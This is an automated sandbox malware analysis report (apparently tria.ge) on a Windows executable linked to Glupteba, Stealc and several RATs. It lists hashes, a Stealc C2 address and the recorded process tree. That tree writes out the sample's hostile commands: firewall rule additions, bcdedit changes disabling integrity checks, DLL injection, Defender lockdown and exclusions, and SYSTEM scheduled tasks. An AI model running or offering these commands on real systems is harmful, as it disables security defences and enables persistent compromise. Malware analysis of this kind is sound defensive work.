Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

1153b99ea7...cc.exe

windows7-x64

1153b99ea7...cc.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    136s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29/04/2024, 01:06

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    1153b99ea7a217692d63ef2c95b61f9b781862793ed5cdff3f53f0b43d9c8ccc.exe

  • Size

    386KB

  • MD5

    0c4043a9a9efff20810530fd0cad91d7

  • SHA1

    ca3adc7e4f1a027a2969749ccd5e2c1b06b88162

  • SHA256

    1153b99ea7a217692d63ef2c95b61f9b781862793ed5cdff3f53f0b43d9c8ccc

  • SHA512

    e5cb239c051ad141a56ca464be8068cebdc58029e39bc2d31495b27a5267604748f590397c2269d01b42f07af5a8840c8d3b339f4f042db165bd9c023a332d17

  • SSDEEP

    12288:J6zu3pBE2tnPIuE2nGewVMGrNRdb2KZkfgV3:Izu3pBE2tnP3nGBeGHkKZkO

Score
10/10
gluptebasectopratstealczgratdiscoverydropperevasionloaderpersistenceratrootkitspywarestealerthemidatrojan

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 10 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Windows security bypass 2 TTPs 48 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Detect binaries embedding considerable number of MFA browser extension IDs. 3 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 3 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 10 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 3 IoCs
  • Detects encrypted or obfuscated .NET executables 1 IoCs
  • Detects executables (downlaoders) containing URLs to raw contents of a paste 5 IoCs
  • Detects executables Discord URL observed in first stage droppers 10 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 10 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 10 IoCs
  • Detects executables packed with Themida 3 IoCs
  • Detects executables packed with or use KoiVM 1 IoCs
  • Detects executables referencing many varying, potentially fake Windows User-Agents 10 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 7 IoCs
  • Executes dropped EXE 22 IoCs
  • Loads dropped DLL 61 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers COM server for autorun 1 TTPs 14 IoCs
    persistence
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 8 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 33 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 27 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\1153b99ea7a217692d63ef2c95b61f9b781862793ed5cdff3f53f0b43d9c8ccc.exe
    "C:\Users\Admin\AppData\Local\Temp\1153b99ea7a217692d63ef2c95b61f9b781862793ed5cdff3f53f0b43d9c8ccc.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Users\Admin\Pictures\9s0x2Q6nY7srAwScd43tHMWY.exe
        "C:\Users\Admin\Pictures\9s0x2Q6nY7srAwScd43tHMWY.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:300
        • C:\Users\Admin\AppData\Local\Temp\u8c.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u8c.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1316
        • C:\Users\Admin\AppData\Local\Temp\u8c.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\u8c.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            PID:3012
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2996
        • C:\Users\Admin\AppData\Local\Temp\u8c.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u8c.3.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1080
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1776
      • C:\Users\Admin\Pictures\9Brl41wVU601MdfYIfESzKWr.exe
        "C:\Users\Admin\Pictures\9Brl41wVU601MdfYIfESzKWr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1620
        • C:\Users\Admin\Pictures\9Brl41wVU601MdfYIfESzKWr.exe
          "C:\Users\Admin\Pictures\9Brl41wVU601MdfYIfESzKWr.exe"
          4⤵
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Modifies data under HKEY_USERS
              PID:1548
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe
            5⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Manipulates WinMon driver.
            • Manipulates WinMonFS driver.
            • Drops file in Windows directory
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:288
            • C:\Windows\system32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              6⤵
              • Creates scheduled task(s)
              PID:2876
            • C:\Windows\system32\schtasks.exe
              schtasks /delete /tn ScheduledUpdate /f
              6⤵
                PID:2504
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                PID:2748
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:804
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1004
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1380
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1440
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1900
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1748
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2072
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2280
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1648
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2104
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2704
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -timeout 0
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2080
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                  7⤵
                  • Modifies boot configuration data using bcdedit
                  PID:704
              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:356
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                6⤵
                • Modifies boot configuration data using bcdedit
                PID:1048
              • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                6⤵
                • Executes dropped EXE
                PID:2928
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                6⤵
                • Creates scheduled task(s)
                PID:2768
              • C:\Windows\windefender.exe
                "C:\Windows\windefender.exe"
                6⤵
                • Executes dropped EXE
                PID:1488
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                  7⤵
                    PID:1116
                    • C:\Windows\SysWOW64\sc.exe
                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                      8⤵
                      • Launches sc.exe
                      • Suspicious use of AdjustPrivilegeToken
                      PID:808
          • C:\Users\Admin\Pictures\minetyOZgy82FXHKJFc8PQia.exe
            "C:\Users\Admin\Pictures\minetyOZgy82FXHKJFc8PQia.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
            • C:\Users\Admin\Pictures\minetyOZgy82FXHKJFc8PQia.exe
              "C:\Users\Admin\Pictures\minetyOZgy82FXHKJFc8PQia.exe"
              4⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Checks for VirtualBox DLLs, possible anti-VM trick
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1552
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3064
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  • Modifies data under HKEY_USERS
                  PID:1108
          • C:\Users\Admin\Pictures\9mMFMaJykstLCCPW58OiQx9F.exe
            "C:\Users\Admin\Pictures\9mMFMaJykstLCCPW58OiQx9F.exe"
            3⤵
            • Modifies firewall policy service
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in System32 directory
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            PID:756
          • C:\Users\Admin\Pictures\yofsG1ILrm6jjHQ48SqH8UAX.exe
            "C:\Users\Admin\Pictures\yofsG1ILrm6jjHQ48SqH8UAX.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:2524
            • C:\Users\Admin\AppData\Local\Temp\7zSBC9B.tmp\Install.exe
              .\Install.exe /WkfdidVYT "385118" /S
              4⤵
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Loads dropped DLL
              • Enumerates system info in registry
              PID:1992
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                5⤵
                  PID:2100
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                    6⤵
                      PID:1692
                      • C:\Windows\SysWOW64\cmd.exe
                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                        7⤵
                          PID:1696
                          • \??\c:\windows\SysWOW64\reg.exe
                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                            8⤵
                              PID:904
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                          6⤵
                            PID:808
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                              7⤵
                                PID:2464
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                  8⤵
                                    PID:2424
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                6⤵
                                  PID:1748
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    7⤵
                                      PID:2900
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                        8⤵
                                          PID:2752
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                      6⤵
                                        PID:3068
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                          7⤵
                                            PID:1544
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                              8⤵
                                                PID:1900
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                            6⤵
                                              PID:664
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                7⤵
                                                  PID:2196
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                    8⤵
                                                    • Drops file in System32 directory
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1004
                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                      9⤵
                                                        PID:2328
                                              • C:\Windows\SysWOW64\forfiles.exe
                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                5⤵
                                                  PID:1688
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                    6⤵
                                                      PID:2756
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                        7⤵
                                                        • Drops file in System32 directory
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2004
                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                          8⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:1120
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 01:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\RxWCvqx.exe\" Wt /SUNdidYtrD 385118 /S" /V1 /F
                                                    5⤵
                                                    • Drops file in Windows directory
                                                    • Creates scheduled task(s)
                                                    PID:1756
                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                                    5⤵
                                                      PID:2696
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                        6⤵
                                                          PID:2232
                                                          • \??\c:\windows\SysWOW64\schtasks.exe
                                                            schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                            7⤵
                                                              PID:2068
                                                    • C:\Users\Admin\Pictures\M5JJNEoBlKm6FaWjNvWM01f9.exe
                                                      "C:\Users\Admin\Pictures\M5JJNEoBlKm6FaWjNvWM01f9.exe"
                                                      3⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      • Adds Run key to start application
                                                      PID:2008
                                                      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                                                        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:1336
                                                        • C:\Windows\system32\msiexec.exe
                                                          "msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"
                                                          5⤵
                                                            PID:836
                                                          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce_7.14.2_windows_x86_64.exe
                                                            "ce_7.14.2_windows_x86_64.exe" /S /v"/qn ACCTMGR_LOGIN=anonymous ACCTMGR_PASSWORDHASH=S16-01 /norestart /log C:\Users\Admin\AppData\Local\Temp\charityengine-install-ce-log.txt"
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:1352
                                                    • C:\Windows\system32\WerFault.exe
                                                      C:\Windows\system32\WerFault.exe -u -p 2868 -s 664
                                                      2⤵
                                                        PID:1272
                                                    • C:\Windows\system32\makecab.exe
                                                      "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240429010625.log C:\Windows\Logs\CBS\CbsPersist_20240429010625.cab
                                                      1⤵
                                                      • Drops file in Windows directory
                                                      PID:2188
                                                    • C:\Windows\system32\DllHost.exe
                                                      C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
                                                      1⤵
                                                        PID:2424
                                                      • C:\Windows\system32\taskeng.exe
                                                        taskeng.exe {0276918C-9722-400A-980C-DB3A6D2228B8} S-1-5-18:NT AUTHORITY\System:Service:
                                                        1⤵
                                                          PID:1316
                                                          • C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\RxWCvqx.exe
                                                            C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\RxWCvqx.exe Wt /SUNdidYtrD 385118 /S
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Drops file in System32 directory
                                                            PID:2512
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                              3⤵
                                                                PID:1764
